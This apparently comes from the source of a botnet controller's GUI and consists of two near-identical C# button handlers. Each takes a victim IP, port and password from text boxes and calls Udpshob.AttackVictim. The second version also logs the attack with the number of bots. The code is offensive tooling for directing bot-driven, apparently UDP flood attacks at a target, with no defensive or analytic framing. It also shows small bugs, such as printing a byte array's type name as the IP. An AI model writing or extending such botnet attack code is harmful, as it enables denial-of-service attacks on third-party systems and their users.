private void button4_Click(object sender, EventArgs e) { byte[] ip = new byte[4]; ip = IPAddress.Parse(IpTextBox.Text).GetAddressBytes(); byte[] port = new byte[2]; int portnum = Int32.Parse(PortTextBox.Text); port = BitConverter.GetBytes(portnum); Udpshob.AttackVictim(ip, port, Encoding.UTF8.GetBytes(PassTextBox.Text)); }
private void button4_Click(object sender, EventArgs e) { byte[] ip = new byte[4]; ip = IPAddress.Parse(IpTextBox.Text).GetAddressBytes(); byte[] port = new byte[2]; int portnum = Int32.Parse(PortTextBox.Text); port = BitConverter.GetBytes(portnum); UpdateMessageBox("Attacking victim on IP, " + ip.ToString() + " on Port " + portnum + " With " + Udpshob.MyBots.Count + " bots"); Udpshob.AttackVictim(ip, port, Encoding.UTF8.GetBytes(PassTextBox.Text)); }